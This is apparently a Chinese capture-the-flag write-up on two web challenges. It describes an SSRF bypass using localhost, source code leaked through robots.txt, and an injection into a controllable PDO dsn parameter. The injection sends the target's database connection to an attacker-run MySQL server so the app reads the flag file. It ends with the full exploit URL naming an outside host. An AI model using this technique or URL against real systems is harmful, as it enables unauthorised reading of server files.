第一题
看到一张图片加一个url输入框,这题一看肯定是ssrf,果然不出所料 成功的加载出来了百度logo 查看首页,发现了说flag再8792端口上,直接访问肯定是不行的了,得利用ssrf
发现“error”的图片是个base64编码的
解码得到提示只能本地用户访问 尝试更改xff失败
最钟小笼包说要不试试localhost,没想到果然妥了。
第二道题 有个登录框 源码中有账号密码 可以登录,但是没啥用,啥也没有 存在一个robots.txt,发现泄露源码
分析源码,有个public和server server目录中有个flag
public目录是我们现在能够看到的
分析能够看到并访问的app.php,看到include一激动,以为能包含flag,但是发现有两个坑,首先action只能为login、logout和img三个,并且会在action后面加上.php,一开始一直想着能不能突破action包含flag最后再截断,发现根本不可行。 他这个img实际上就是包含了server目录中的img.php echo file_get_contents($portrait);
没想到,这个img.php最后竟然有个这个函数,但是portrait变量被死了,怎么办,当时焦头烂额,突然身后冒出个php开发,说我们可以自己创建个数据库,让flag服务器连接我们,我们自己改掉portrait的值不就可以输出flag了!! 前面分析的sql.php文件中,发现dsn参数是可控的,并且利用了PDO连接,PDO是可以设置host的,并且还有数据库账号密码。
最后在一台外网机器上创建了一个同样账号密码的数据库账号,同样名称的数据库,并更改了portrait中的值为flag路径,最后拿下flag,构造url为 http://202.120.7.204:7242/app.php?action=img&dsn=wmwcms;host=111.111.111.111 |